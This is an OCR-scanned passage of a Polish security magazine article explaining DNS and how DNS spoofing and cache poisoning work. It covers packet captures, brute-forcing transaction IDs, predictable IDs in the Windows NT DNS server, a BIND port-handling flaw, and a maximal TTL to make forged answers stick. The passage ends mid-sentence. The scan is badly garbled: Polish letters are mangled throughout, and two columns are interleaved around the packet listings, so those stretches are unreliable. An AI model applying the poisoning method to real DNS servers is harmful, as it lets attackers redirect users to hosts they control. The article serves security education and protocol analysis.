DNS spoofing, czyli podszywanie

sie pod serwer DNS

tasciwie wszyscy interesujacy sie
W tematem bezpieczenstwa w sieciach

komputerowych wiedza, ze protokot
DNS ma btedy zwigzane z bezpieczenstwem,
jednak nie kazdy tak naprawde wie, na czym
one polegaja i na ile sg grozne. Niniejszy tekst
ma na celu przedstawienie tych btedéw oraz
zagrozen z nimi zwigzanych. Aby nie ogra-
nicza¢ sie tylko do suchego przedstawienia
faktow zdecydowatem sie napisac tekst, ktory
pokaze czytelnikowi w jaki sposob, analizujac
programy korzystajace z danego protokotu, jak
réwniez studiujac jego specyfikacje, mozna
samemu odkry¢ btedy bezpieczenstwa. Przed-
stawiona metodologia postepowania podczas
wykrywania i wykorzystywania btedu moze
z powodzeniem postuzy¢ za przyktad dla osob
zajmujacych sie analizowaniem bezpieczen-
stwa protokotéw internetowych.

Z punktu widzenia niniejszego tekstu bardzo
wazne byto, aby przeprowadzone testy prak-
tyczne wykona¢ w warunkach jak najbardziej
zblizonych do tych panujgcych w Internecie.
W zwigzku z tym uzytem komputeréw, ktére
na co dzien pracujg w sieci, niemniej wymie-
nione w tekscie oprogramowanie, jak réwniez
sposob jego konfiguracji, byty aktualne tylko
w momencie powstawania tego tekstu.
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Tomasz Grabowski

Domain Name System

System Nazw Domen (ang. Domain Name
System), w skrocie DNS, stanowi rodzaj roz-
proszonej bazy danych, dzieki ktorej aplikacje
korzystajace z protokotéw rodziny TCP/IP sg
w stanie przeprowadzi¢ proces mapowania
nazw komputeréw na ich adresy IP. Umozliwia
on tez przeprowadzenie odwrotnego mapowa-
nia, w ktérym na podstawie adresu IP ustalana
jest nazwa komputera.

Nie istnieje zaden komputer w Internecie,
ktéry posiadatby komplet informacji na temat
wszystkich nazw uzywanych w Sieci. Kazde
wydzielone miejsce w Internecie (np. filia
przedsiebiorstwa, miasto czy uczelnia) posia-
da swojg wtasng baze danych na temat nazw
uzywanych w ich czesci sieci. Dzieki specjal-
nemu oprogramowaniu, zwanemu serwerem
DNS, udostepnia ono te informacje reszcie
Internetu. Mogq one zostac¢ pobrane poprzez
podobny serwer DNS lub poprzez klienta DNS
zwanego resolverem. Z punktu widzenia apli-
kacji dostep do Systemu Nazw Domen odbywa
sie wtasnie za jego pomoca. W systemach
rodziny UNIX resolver dostepny jest przez
odpowiednie funkcje biblioteczne, ktére sg
wiagczane do aplikacji podczas jej tworzenia.
Aby méc zmapowaé nazwe komputera na jego
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Rysunek 1. Hierarchiczna organizacja DNS

adres IP, resolver musi skontaktowac sie z jednym lub
kilkoma serwerami DNS.

Koncepcja DNS i opis ustug, ktére on zapewnia,
opisane sg w dokumencie RFC1034, a szczegoty tech-
niczne dotyczgce implementacji oraz doktadna specyfi-
kacja w RFC1035. Najczesciej uzywang implementacjg,
serwera i resolvera DNS jest pakiet oprogramowania
BIND (Berkeley Internet Name Domain).

Zasada dziatania DNS

Przestrzen nazw DNS ma budowe hierarchiczng (Rysu-
nek 1). Pozwala to na bardzo tatwe budowanie i zarza-
dzanie cata struktura.

Kazdy wezet (przedstawiony na rysunku jako okrag)
moze mie¢ etykiete dtugosci do 63 znakéw. Nazwa
domeny wezta w drzewie jest listg etykiet, poczyna-
jac od etykiety wezta az do korzenia. Kolejne etykiety
oddzielane sg kropkami. Sposob tworzenia nazwy
domeny dla komputera rubycon.man.szczecin.pl zostat
na rysunku zaznaczony czarnymi okregami.

Zaraz ponizej korzenia gtdbwnego znajdujg sie tzw.
domeny gérnego poziomu. Dzielg sie one na trzy grupy:

» domena arpa jest domeng specjalng, wykorzysty-
wang przez DNS do mapowania adreséw IP na
nazwy komputerow,

» siedem domen, ktérych nazwy sktadajg sie z trzech
znakéw, to domeny podstawowe (ang. Generic
domains),
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» wszystkie domeny, ktérych nazwy sktadaja sie zdwoch
znakoéw odpowiadajgcym kodom krajéw na podstawie
ISO 3166, nazywane sg domenami krajowymi.

Tabela 1 zawiera liste siedmiu domen podstawowych
wraz z ich opisem.

Pierwotnie trzyznakowe nazwy domen podstawo-
wych byty przeznaczone dla organizacji w USA. Jednak
w zwigzku z rozwojem Internetu w pozostatych rejo-
nach swiata zainteresowanie trzyznakowymi domenami
wzrosto tak bardzo, ze zostaty one udostepnione takze
komputerom znajdujgcym sie poza Stanami Zjednoczo-
nymi. Jedynymi zastrzezonymi dla organizacji w USA
sq domeny .gov i .mil. Wiele krajow zapisuje domeny
drugiego poziomu, znajdujgce sie ponizej dwuznakowej
nazwy kraju, w sposéb odzwierciedlajgcy strukture
domen podstawowych.

Obszar (ang. zone) jest oddzielnie administrowang
czescig drzewa DNS. Typowym obszarem wydzielo-
nym w ten sposoéb jest domena man.szczecin.pl. Wiele
tego typu domen dzieli swoje obszary na mniejsze. Na
przyktad uniwersytet moze mie¢ podziat na obszary
odpowiadajgce wydziatom, przedsiebiorstwo — na biura
miedzynarodowe lub branzowe.

Kiedy zarzadzanie danym obszarem zostanie
delegowane, od osoby odpowiedzialnej za ten obszar
zalezy, ile serweréw nazw bedzie w nim pracowato.
Kiedy w danym obszarze instalowany jest nowy kom-
puter, administrator DNS tego obszaru ustala nazwe
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i adres IP tego komputera i wprowadza dane do bazy
serwera nazw. W matej firmie na przykfad jedna osoba
moze zajmowac sie obstugg danych i uzupetnia¢ je,
kiedy w sieci przybedzie nowy komputer. Jednak jesli
mamy do czynienia z siecig tak duzg jak np. sie¢ miej-
ska, odpowiedzialno$¢ za obstuge DNS musi by¢ dele-
gowana na poszczegoélne jednostki wchodzace w jej
sktad, gdyz jedna osoba nie bytaby w stanie nadgzy¢
z wprowadzaniem nowych nazw i nanoszeniem zmian.

Serwer nazw moze wiec obstugiwac jeden lub wiecej
obszaréw. Osoba odpowiedzialna za obstuge danego
obszaru musi uruchomi¢ w nim podstawowy serwer
nazw i jeden lub wiecej drugoplanowych serweréw nazw.
Serwery podstawowe i drugoplanowe muszg by¢ nieza-
leznymi od siebie komputerami, umiejscowionymi w taki
sposob, aby awaria jednego z nich nie wptywata na funk-
cjonowanie pozostatych. Podstawowg réznicg pomiedzy
serwerem podstawowym a drugoplanowym jest to, ze
ten pierwszy pobiera wszelkie potrzebne mu informacje
z plikéw przechowywanych na dysku, a ten drugi uzyskuje
te same informacje z serwera podstawowego. Proces
kopiowania danych do obstugi systemu nazw okreslany
jest mianem transferu obszaru (ang. zone transfer).

Kiedy do obszaru dodawany jest nowy host, admi-
nistrator musi umiesci¢ odpowiednie informacje (co
najmniej nazwe i adres IP) w pliku na komputerze
dziatajacym jako podstawowy serwer nazw. Nastepnie
podstawowy serwer nazw informowany jest o koniecz-
nosci ponownego wczytania plikbw konfiguracyjnych.
Jesli serwery drugoplanowe, ktére regularnie odpytujg
serwer podstawowy, znajdg nowsze dane, to uaktual-
niajg je za pomocag transferu obszaru.

Co robi serwer nazw, kiedy nie ma poszukiwanej infor-
macji? Musi skontaktowac¢ sie z innym serwerem nazw (na
tym polega rozproszona natura DNS). Nie kazdy jednak
serwer wie jak skontaktowac sie z kazdym innym serwe-
rem nazw. Kazdy serwer musi jednak wiedziec, jak nawia-
zac kontakt z gtéwnymi serwerami nazw (ang. root name
servers). Aktualng liste wszystkich gtéwnych serweréw
nazw mozna pobra¢ pod adresem ftp:/ftp.rs.internic.net/
domain/named.root. Jest ona uzywana przez wszystkie
dziatajgce w Internecie serwery DNS, a wiec kazdy z nich
jest w stanie potaczy¢ sie z jednym z gtéwnych serwerdw.

Tabela 1. Podstawowe domeny DNS

com organizacje komercyjne

edu instytucje edukacyjne

gov inne organizacje rzadowe w USA
int organizacje miedzynarodowe
mil wojsko w USA

net sieci

org inne organizacje
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One z kolei znajg nazwe i adres IP kazdego z serweréw
autorytatywnych, obstugujacych domeny drugiego pozio-
mu. Takie rozproszenie informacji o innych serwerach
powoduje, ze ich dziatania sg dziataniami rekurencyjnymi:
serwer nazw, ktéry szuka informacji, musi skontaktowac
sie z serwerem gtdwnym. Nastepnie serwer gtéwny kaze
serwerowi pytajagcemu skontaktowac sie z innym serwe-
rem i tak dalej.

Podstawowg funkcja DNS jest zapamietywanie
uzyskiwanych informacji w pamieci podrecznej (ang.
caching). Taki proces zachodzi, kiedy serwer nazw
otrzymuje informacje o mapowaniu i umieszcza jg na
pewien czas w swojej pamieci po to, by inne zapytanie
dotyczace tego samego mapowania mogto by¢ obstu-
zone szybciej, bez potrzeby ponownego odpytywania
wszystkich serweréw DNS.

Zaréwno do wysytania zapytan jak i odpowiedzi
zdefiniowany jest jeden format komunikatu DNS. Opis
wszystkich pol wystepujacych w takim komunika-
cie zajatby bardzo duzo miejsca. Zamiast opisywaé
wszystkie mozliwe komunikaty DNS, zdecydowano sie
na opis tylko tych pdl, ktére sg najwazniejsze z punktu
widzenia niniejszego tekstu. Przeprowadzimy wiec
praktyczny test wykorzystania protokotu DNS, podczas
ktérego przechwycimy wszystkie pakiety, ktére braty
w nim udziat. Dzieki temu uzyskamy bardzo interesuja-
cy materiat, ktéry zawiera wszystkie niezbedne dane.

Konkretny przykiad dziatania

protokotu (analiza).
Praktyczny test protokotu pozwoli zorientowac sie, w jaki
sposob dziata DNS. Przesledzone zostanie jak klient taczy
sie z serwerem DNS, jak taczg sie miedzy sobg serwery
DNS i w jaki sposdb przesytane sg zapytania i odpowiedzi.
W tescie protokotu DNS biorg udziat nastepujace
komputery:
Phobos:

e adresIP:212.141.71,

» opis: komputer klienta, ktéry pyta o adres IP kompu-
tera warp1.cadence.com,

e oprogramowanie: standardowy resolver systemu
Linux.

Apollo:

* adres IP: 212.14.1.81

» opis: Domysiny serwer DNS komputera phobos.
» oprogramowanie: BIND w wers;ji 8.3.3
Ns.cadence.com:

+ adres IP: 158.140.1.253,

» opis: serwer DNS dla domeny .cadence.com,
* Oprogramowanie: BIND w wers;ji 8.2.2.
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Test polega na uruchomieniu na komputerze phobos pro-
gramu telnet, ktéry do swojej poprawnej pracy wymaga
zmapowania nazwy komputera na jego IP. Musi on w tym
celu skorzysta¢ ze swojego domysinego serwera DNS
i poczekac, az ten odesle mu zgdang odpowiedz.

Oto co widzi na swoim ekranie uzytkownik kompu-
tera phobos:

phobos:~$ telnet warpl.cadence.com

[1] taczenie sie z serwerem warpl

Trying 158.140.108.44...

[2] program telnet wykonuje potaczenie
z komputerem 158.140.108.44

Connected to warpl.cadence.com.

Escape character is '\x'.

[3] informacja o udanym potaczeniu

Jak wida¢ DNS wykonat swojg prace pomiedzy punk-
tem 1 a 2. Ze strony uzytkownika dziatajgcego na
komputerze phobos caly proces wymiany zapytan
i odpowiedzi DNS jest zupetnie niewidoczny. Dzieje sie
tak dlatego, iz wszystkie te operacje sg wykonywane
automatycznie i niepotrzebna jest jakakolwiek ingeren-
cja ze strony uzytkownika. Prawdopodobnie wiekszos¢
uzytkownikéw Internetu nie zdaje sobie nawet sprawy
z istnienia tego protokotu.

Aby zrozumie¢ jak dziata DNS oraz zdoby¢ infor-
macje niezbedne podczas analizy bezpieczenstwa
protokotu, zainstalujemy na komputerze apollo oprogra-
mowanie stuzgce do analizy protokotéw internetowych
— ethereal. Za jego pomocg przechwycimy wszystkie
komunikaty DNS biorgce udziat w tescie.

Rysunek 2 przedstawia logiczny schemat wycinka
sieci Internet uzytej do przeprowadzenia testu wraz
z zaznaczonymi numerami oznaczajacymi kolejne kroki
podczas mapowania adresu. W kazdym z tych krokéw
pomiedzy komputerami przesytany jest jeden pakiet
z komunikatem DNS.

Listingi 1 — 4 przedstawiajg doktadny opis pakietow
zarejestrowanych za pomocg programu ethereal (frag-
menty oznaczone jako komentarz sg dodanym przez nas
opisem). Ze wzgledu na to, ze ilos¢ danych zebranych
przez ethereal odnosnie kazdego przechwyconego
pakietu jest bardzo duza, w niniejszym tekscie umiesz-
czono tylko te informacje, ktére sg z naszego punktu
widzenia najwazniejsze. Petng treS¢ omawianych pakie-
téw mozna znalez¢ na dotagczonym do pisma dysku CD.

Pakiet przedstawiony na Listingu 1:

» jest to zapytanie od komputera phobos, skierowane
do serwera apollo,

» komunikat zostat wystany za pomoca protokotu UDP
z portu 1039 na port 53 (domy$iny port ustugi DNS),

» identyfikator zapytania to 0x3292 (czyli 12946 dzie-
sietnie),
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» catkowita dtugosc¢ pakietu wynosi 77 bajtéw,
» zapytanie dotyczy adresu IP komputera o nazwie
warp1.cadence.com.

Pakiet przedstawiony na Listingu 2:

» jest to zapytanie od serwera apollo, skierowane do
serwera ns.cadence.com,

» komunikat zostat wystany za pomoca protokotu UDP
z portu 1024 na port 53 (domysIny port ustugi DNS),

« identyfikator zapytania to 0xf2b1 (czyli 62129 dzie-
sietnie),

» catkowita dtugosc¢ pakietu wynosi 77 bajtéw,

» zapytanie dotyczy adresu IP komputera o nazwie
warp1.cadence.com.

Pakiet przedstawiony na Listingu 3:

» jestto odpowiedz od serwera ns.cadence.com, skie-
rowana do serwera apollo,

* komunikat zostat wystany za pomoca protokotu
UDP z portu 53 na port 1024,

» identyfikator odpowiedzi to 0xf2b1 (czyli 62129 dzie-
sietnie),

» catkowita dtugosc¢ pakietu wynosi 183 baijty,

» odpowiedz dotyczy adresu IP komputera o nazwie
warp1.cadence.com,

* czas waznosci odpowiedzi (okres, w ktérym serwer
apollo bedzie przechowywat te informacje w swojej
pamieci podrecznej cache) wynosi 15 minut,

* komunikat zawiera dodatkowe informacje na temat
serweréw DNS obstugujacych domene .cadence.com.

Pakiet przedstawiony na Listingu 4:

» jestto odpowiedz od serwera apollo, skierowana do
komputera phobos,

» komunikat zostawystany za pomocg protokotu UDP
z portu 53 na port 1039,

« identyfikator odpowiedzi to 0x3292 (czyli 12946
dziesietnie),

» catkowita dtugosc¢ pakietu wynosi 183 baity,

» odpowiedz dotyczy adresu IP komputera o nazwie
warp1.cadence.com,
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Listing 1. Pakiet 1

// catkowita diugoéé pakietu
Packet Length: 77 bytes

// rodzaj uzytego protokoiu
Protocol: UDP (0x11)

// adres zrodiowy

Source: phobos.man.szczecin.pl (212.14.1.71)
// adres docelowy

Destination: apollo.aci.com.pl (212.14.1.81)
// port Zrodiowy
1039
// port docelowy

Source port: (1039

Destination port: domain (53
// identyfikator zapytania
0x3292

// treéé¢ zapytania

Transaction ID:

warpl.cadence.com: type A, class inet
Name: warpl.cadence.com
Type:
Class:

Host address

inet

Listing 2. Pakiet 2

// catkowita diugo$¢ pakietu
Packet Length:
// rodzaj uzytego protokotu
Protocol: UDP (0x11)

// adres zrodiowy

77 bytes

Source: apollo.aci.com.pl (212.14.1.81)
// adres docelowy

Destination: ns.Cadence.COM (158.140.1.253)
// port zrbddiowy
1024

// port docelowy

Source port: (1024)

Destination port: domain (53)
// identyfikator zapytania
0x£f2bl

// treéé zapytania

Transaction ID:

warpl.cadence.com: type A, class inet
Name: warpl.cadence.com
Type:
Class:

Host address

inet

* czas waznosci odpowiedzi wynosi 15 minut,

» komunikat zawiera dodatkowe informacje na temat
serwerow DNS obstugujacych domene .caden-
ce.com.

Jak wida¢ komunikaty DNS sg przesytane za pomocg
bezpotgczeniowego protokotu UDP. Aby wiec mozliwe
byto odréznienie ktéra odpowiedz dotyczy ktérego
zapytania, DNS uzywa identyfikatora komunikatu (ang.
Transaction ID). Jest to pole dwubajtowej dtugosci,
a zatem warto$¢ identyfikatora zawiera sie w granicach
od 0 do 65535. tatwo tez zauwazyé¢, ze komunikat
z zapytaniem DNS jest duzo krétszy niz odpowiedz,
ktéra zawiera wiele dodatkowych informaciji, takich jak
adresy wszystkich serweréw nazw dla danej domeny
oraz szczegotowe informacje na ich temat. W przypad-
ku wszystkich zapytan portem docelowym jest domysiny
port 53, a port zrodtowy moze by¢ dowolny, natomiast
w odpowiedziach portem docelowym jest port, z ktérego
wystano zapytanie, a zrédtowym jest zawsze port 53.
Bardzo istotnym polem w komunikacie DNS jest czas
waznosci odpowiedzi (ang. Time To Live). Okresla ono
jak dtugo serwer, ktéry otrzymat dang odpowiedz, ma ja
przechowywac¢ w swojej pamieci tymczasowej. W tym
czasie bedzie on mégt samodzielnie odpowiedzie¢ na
kazde kolejne zapytanie dotyczace tego adresu.

Btedne zatozenia i ich skutki

zwigzane z bezpieczenstwem

Twoércy DNS zdecydowali sie na zastosowanie do
przesytania komunikatow bezpotgczeniowego proto-
kotu UDP. Jak wiadomo jest on podatny na wszelkiego
rodzaju ataki zwigzane z podszywaniem sie pod inny
komputer (ang. spoofing). Wystarczy aby intruz wyge-
nerowat na swoim komputerze pakiet z odpowiednim
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adresem nadawcy, a serwer, do ktérego taki pakiet
zostanie wystany, nie bedzie miat zadnych szans na
stwierdzenie, od jakiego komputera naprawde ten
pakiet pochodzi. Oczywiscie twércy DNS doskonale
zdawali sobie sprawe z tego faktu, dlatego tez wpro-
wadzili w komunikacie DNS pole identyfikatora komu-
nikatu, o ktérym byta mowa wczesniej. W zamysle
projektantéw miato ono spetnia¢ nastepujace funkcje:

* umozliwia¢ oprogramowaniu DNS odréznianie
poszczegolnych zapytan i odpowiedzi,

* uniemozliwia¢ intruzowi podszywanie sie pod ktory-
kolwiek z komputeréw biorgcych udziat w mapowa-
niu danego adresu.

Czy jednak zatozenia tworcéw protokotu zostaty spet-
nione?

Wczesdniej zauwazyliSmy, ze pole identyfikatora
komunikatu jest dwubajtowej dtugosci, a zatem istnieje
mozliwos¢ wygenerowania maksymalnie 65535 réz-
nych identyfikatoréw. Oznacza to, ze w jednym czasie
oprogramowanie DNS jest w stanie obstugiwa¢ wiasnie
tyle operacji mapowania. Jezeli wzig¢ pod uwage, ze
serwery DNS obstugujg najczesciej podsieci skta-
dajace sie z od kilku do kilkuset komputeréw, mozna
przypuszczac, ze jest to warto$¢ zadowalajgca. Jednak
najbardziej interesujgca, z punktu widzenia niniejszego
tekstu, jest kwestia zwigzana z bezpieczenstwem pro-
tokotu, a wiec odpowiedz na pytanie jakie mozliwosci
ataku ma intruz. W najprostszym z mozliwych przypad-
kow intruz wysle pakiety zawierajace wszystkie moz-
liwe identyfikatory komunikatu, czyli 65535 pakietow.
Zaktadajac, ze odpowiedZz DNS, pod ktérg chce sie
podszy¢ intruz, zajmuje 183 baijty (tak jak w przyktadzie
przedstawionym wczesniej), musi on wysta¢ do atako-
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Listing 3. Pakiet 3: Listing 4. Pakiet 4:
// catkowita diugosé¢ pakietu // catkowita dtugo$¢ pakietu
Packet Length: 183 bytes Packet Length: 183 bytes
// rodzaj uzytego protokotu // rodzaj uzytego protokolu
Protocol: UDP (0x11) Protocol: UDP (0x11
// adres zrédiowy // adres zroédiowy
Source: ns.Cadence.COM (158.140.1.253) Source: apollo.aci.com.pl (212.14.1.81)
// adres docelowy // adres docelowy
Destination: apollo.aci.com.pl (212.14.1.81) Destination: phobos.man.szczecin.pl (212.14.1.71
// port zroédiowy
Source port: domain (53) // port zrddiowy
// port docelowy Source port: domain (53)
Destination port: 1024 (1024) // port docelowy
// identyfikator odpowiedzi Destination port: 1039 (1039)
Transaction ID: 0xf2bl // identyfikator odpowiedzi
// czas waznosci odpowiedzi Transaction ID: 0x3292
Time to live: 15 minutes // czas wazno$ci odpowiedzi
// zadany adres IP Time to live: 15 minutes
Addr: 158.140.108.44 // zadany adres IP
// informacje o serwerach DNS Addr: 158.140.108.44
Authoritative nameservers // informacje o serwerach DNS
cadence.com: type NS, class inet, ns ns.cadence.com Authoritative nameservers
Name: cadence.com cadence.com: type NS, class inet, ns ns.cadence.com
Type: Authoritative name server Name: cadence.com

[..] Type: Authoritative name server

// dodatkowe informacje [..]

Additional records // dodatkowe informacje
ns.cadence.com: type A, class inet, addr Additional records
158.140.1.253 ns.cadence.com: type A, class inet, addr
Name: ns.cadence.com 158.140.1.253
Type: Host address Name: ns.cadence.com

[..] Type: Host address
[..]

wanego komputera okoto 11 MB danych. Dzieki temu

ma pewnosc, ze jeden z tych pakietéw zostanie uznany + identyfikator odpowiedzi to 0xf2b1 (czyli 62129 dzie-
jako wtasciwa odpowiedz na zadane przez serwer pyta- sietnie),

nie DNS. W takiej sytuacji cata trudnos¢ przeprowadze- + catkowita dtugos¢ pakietu wynosi 183 baijty,

nia ataku sprowadza sie do tego, aby udato sie wysta¢ + odpowiedz dotyczy adresu IP komputera o nazwie

takg ilos¢ danych szybciej niz serwer DNS, pod ktéry warp1.cadence.com,

podszywa sie intruz. Biorgc pod uwage fakt, ze znanych + czas waznosci odpowiedzi (okres, w ktérym serwer
jest obecnie duzo technik typu Denial of Service, ktore apollo bedzie przechowywat te informacje w swojej
mozna zastosowaé do opdznienia wystania przez ata- pamieci podrecznej cache) wynosi 15 minut,
kowany serwer odpowiedzi (lub catkowicie uniemozliwi¢ + komunikat zawiera dodatkowe informacje na temat
wystanie takiej odpowiedzi), atak ten zaczyna nabiera¢ serwerow DNS obstugujacych domene .cadence.com.

bardzo realnych ksztattéw.

Nalezy wiec teraz upewni¢ sie, ze wartos¢ pola Przeanalizujemy teraz bardzo doktadnie pakiet, zasta-
identyfikatora komunikatu DNS jest jedyng informacja, nawiajac sie, czy intruz jest w stanie podrobi¢ go w taki
ktérej intruz nie jest w stanie przewidzie¢ (jesli jest to sposéb, aby zostat on uznany za prawdziwg odpowiedz
prawda, bedzie to oznaczato, ze w specyfikacji DNS od serwera DNS.
istnieje btad zwigzany z bezpieczenstwem). W tym celu Analizowany fragment pakietu:
postuzymy sie pakietem zarejestrowanym wczesniej.

Oto krotki opis pakietu, jednoznacznie identyfikujgcy ~ Freme 477 (183 on wire, 183 captured)

gowsieci: Arrival Time: Mar 23, 2002 17:26:12.0422
Time delta from previous packet: 0.209959 seconds
» jestto odpowiedz od serwera ns.cadence.com, skie- Frame Number: 477
rowana do serwera apollo, Packet Length: 183 bytes
* komunikat zostat wystany za pomocag protokotu Capture Length: 183 bytes
UDP z portu 53 na port 1024, Ethernet IT
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00:01:02:22:1f:5¢c (00:01:02:22:1f:5c)

(00:00:ef:05:30:50)

Destination:
00:00:e£:05:30:50
(0x0800)

Source:

Type: IP

Powyzsze informacje majg znaczenie tylko w obrebie
lokalnej sieci komputerowej i nie muszg by¢ podrabiane
przez intruza.

Analizowany fragment pakietu:

Internet Protocol
Version: 4

Header length: 20 bytes

Type of service: 0x80 (None)
100. .... = Precedence: flash override (4)
..0 .... = Delay: Normal
. 0... = Throughput: Normal
.0.. = Reliability: Normal

..0. = Cost: Normal

Total Length: 169
Identification: 0x79c7
Flags: 0x04

.1.. = Don't fragment: Set

..0. = More fragments: Not set
Fragment offset: 0
Time to live: 238
(0x11)

0x9c13

Protocol: UDP

Header checksum: (correct)
// adres zrodiowy

Source: ns.Cadence.COM (158.140.1.253
// adres docelowy

Destination: apollo.aci.com.pl (212.14.1.81)

Powyzsze informacje mowig o tym, ze jest to standardo-
wy nagtéwek pakietu wysytanego w ramach sieci Internet.
Oznacza to, ze przewidzenie jak taki nagtéwek bedzie
wygladat nie stanowi dla intruza zadnego problemu.

Wyszczegdlniono jednak dwa parametry, ktore
wymagajg omowienia. Pierwszy z nich to wartos¢ okre-
Slajgca adres docelowy pakietu — w tym miejscu musi
sie oczywiscie znalez¢ adres serwera DNS, ktéry ma
zostac oszukany. Drugi to adres zrodtowy pakietu. Musi
to by¢ komputer, ktéremu serwer DNS zadat pytanie,
czyli jeden z serweréw domeny cadence.com. Aby
uzyskac informacje na temat tego, jakie adresy maja
serwery obstugujace domene cadence.com, wystarczy
w systemie Linux wyda¢ nastepujace polecenie:

host -t ANY cadence.com
cadence.com name server AUTHO00.NS.UU.NET

cadence.com name server NS.cadence.com

Jak widac istniejg dwa serwery obstugujace omawiang
domene. Oznacza to, ze intruz bedzie zmuszony prze-
widzie¢, ktory serwer zostanie odpytany przez atakowa-
ny komputer lub wysta¢ pakiety zawierajgce zaréwno
jeden jak i drugi adres zrédtowy.

www. hakinS.org

Analizowany fragment pakietu:

User Datagram Protocol
// port Zroédiowy
Source port: domain (53)
// port docelowy
Destination port: 1024 (1024
Length: 149

Checksum: 0xa240

Kolejne dane, ktére atakujacy musi ustali¢, to port
zrédtowy oraz port docelowy. O ile w przypadku portu
zrodtowego sprawa jest prosta — jest to zawsze port 53
— o tyle w przypadku portu docelowego sytuacja jest
bardziej skomplikowana. Teoretycznie bowiem ata-
kowany serwer moégt wystaé zapytanie z dowolnego
wolnego portu. W praktyce okazuje sie jednak, ze tym
portem bedzie port 53 lub 1024 (zaleznie od konfiguraciji
serwera DNS). Przeprowadzone na potrzeby niniejsze-
go tekstu testy wykazaty jednak, ze w przypadku wysta-
nia odpowiedzi na port 53 zostanie ona przez serwer
zaakceptowana, niezaleznie od tego z jakiego portu
wystane zostato zapytanie. Jest to najprawdopodobniej
wynikiem btedu w oprogramowaniu BIND. Oznacza to,
ze intruz moze wystac pakiet z dowolnym portem doce-
lowym, na ktérym nastuchuje serwer.

Kolejny analizowany fragment pakietu przedstawio-
ny jest na Listingu 5.

Najwazniejszym polem jest oczywiscie identyfikator
odpowiedzi, ktéry zostat omowiony wczesniej. Wszelkie
pozostate dane intruz moze juz dowolnie podrabiac.
Oznacza to, ze wysytajagc podrobiong odpowiedz
DNS mozliwe jest jej znaczne skrocenie, gdyz mozna
poming¢ wszelkie dodatkowe informacje dotyczace
serweréw nazw. W takiej sytuacji odpowiedz bedzie
miata catkowitg dtugos¢ zblizong do pytania DNS, czyli
okoto 100 bajtow.

Powyzsza analiza wykazata, ze najwazniejszymi
informacjami, ktére musi posiada¢ intruz, aby wyge-
nerowa¢ witasng wersje odpowiedzi DNS jest wartos¢
pola identyfikatora odpowiedzi oraz adres zrédtowy ser-
wera DNS domeny, pod ktérg intruz chce sie podszyc.
Nalezy jednak zauwazy¢, ze nawet w przypadku, gdy
nie istnieje mozliwos¢ przewidzenia tych wartosci, atak
nadal jest mozliwy — bedzie jednak wymagat przestania
wiekszej liczby odpowiedzi DNS.

Na podstawie powyzszych rozwazah mozna stwier-
dzi¢, ze podrobienie odpowiedzi DNS jest mozliwe. Naj-
grozniejszym btedem, zwigzanym z bezpieczenstwem
jest wiasnie mozliwos¢ sfatszowania przez intruza
odpowiedzi od serwera DNS. W efekcie takiego btedu
uzywane przez klienta oprogramowanie otrzymatoby
nieprawdziwg informacje na temat mapowanego przez
nie komputera. Mozliwosci przeprowadzenia atakow
przy wykorzystaniu takiej techniki sg praktycznie
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nieograniczone. Kilka najbardziej oczywistych z nich
przedstawia Tabela 2, jednak trzeba mie¢ na uwadze,
ze w zaleznosci od tego jakie oprogramowanie bytoby
obiektem ataku, pole dziatania intruza jest ogromne
i przewidzenie wszystkich mozliwych atakéw jest
w praktyce niemozliwe.

Tabela ta daje pojecie o tym, na jak wielkie ryzyko
wystawiony jest uzytkownik w sytuacji, gdyby okazato
sie, ze przeprowadzenie takiego ataku jest mozliwe. Fakt,
ze intruz jest w stanie przewidzie¢ jak bedzie wygladata
odpowiedz, na ktorg czeka atakowany serwer DNS, nie
gwarantuje mu jeszcze powodzenia ataku, gdyz decydu-
je o tym takze bardzo wiele innych czynnikéw.

Konkretny przyktad ataku.

Sprobojmy ustali¢ jak powinien wyglada¢ udany atak
na protok6ét DNS oraz jakie sg praktyczne szanse jego
powodzenia. Na poczatek, korzystajac z analizy, ktorg
przeprowadziliSmy w poprzednim rozdziale, zastanowi-
my sie na jakie pytania musi umie¢ odpowiedzie¢ intruz,
aby przeprowadzenie ataku byto mozliwe. Pytania te to:

» kiedy atakowany serwer DNS zada pytanie, na ktore
intruz podstawi wtasng odpowiedz?

» jaki powinien by¢ identyfikator takiej odpowiedzi?

* jaki powinien by¢ adres zrédtowy takiej odpowiedzi?

Mozliwosci odpowiedzi na pierwsze pytanie jest bardzo
wiele. W niniejszym tekscie skupimy sie jednak na
takim rozwigzaniu, ktére zapewni najwieksze szanse
powodzenia ataku. Wczes$niej zauwazylismy, ze kazdy
serwer DNS posiada swojg pamie¢ podreczng, w ktorej
przechowuje informacje na temat ostatnio przeprowa-
dzonych mapowan. Czas, w ktérym przechowuje on te
informacje, jest okreslony w polu TTL danego komuni-
katu DNS. Oznacza to, ze jezeli intruzowi udatoby sie
przestac do serwera podstawiong przez siebie informa-
cje, zostataby ona zapamietana i uzyta przy kazdym
nastepnym zapytaniu. Wiadomo tez, ze kazdy serwer
DNS nastuchuje na porcie 53 i jest gotowy przyjac jakie-
kolwiek zapytanie pochodzace od dowolnego kompute-
ra w Internecie. Intruz moze wiec wykorzystaé te dwie
cechy serwerow DNS na potrzeby ataku, gdyz dzieki
nim sam moze zadac¢ serwerowi DNS dowolne pytanie
i w odpowiedzi, ktérg na nie wysle w polu TTL wpisaé
maksymalng warto$¢. Po tym zabiegu kazdy, kto zada
serwerowi DNS takie samo pytanie, otrzyma odpowiedz
pochodzgcg z pamieci podrecznej, czyli z informacjami
podstawionymi przez intruza. W ten sposoéb intruz nie
musi zna¢ doktadnego czasu, w ktérym atakowany
serwer DNS bedzie zadawat pytanie.

Udzielenie odpowiedzi na drugie pytanie jest bardzo
uzaleznione od oprogramowania, ktérego uzywa ata-
kowany serwer DNS. W przypadku oprogramowania
BIND identyfikator odpowiedzi jest liczbg pseudolosowa
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i okreslenie jej jest w zasadzie niemozliwe. Intruz musi
wiec wysta¢ pakiety ze wszystkimi mozliwymi jej warto-
Sciami. W przypadku serwera DNS sprzedawanego wraz
z Windows NT przeprowadzone na potrzeby tego tekstu
testy wykazaty, ze generuje on catkowicie przewidywalne
identyfikatory pytan, gdyz kazde kolejne zapytanie wysy-
tane przez ten serwer ma identyfikator wiekszy o jeden
w stosunku do poprzednio wystanego pytania. W zwigzku
z tym jezeli intruz atakuje serwer oparty na oprogramowa-
niu Microsoftu, przewidzenie prawidtowego identyfikatora
odpowiedzi nie stanowi zadnego problemu.

O tym w jaki sposéb odpowiedzie¢ na trzecie pyta-
nie napisano juz w poprzednim podrozdziale. Wydajgac
odpowiednie polecenie w systemie Linux intruz dowiadu-
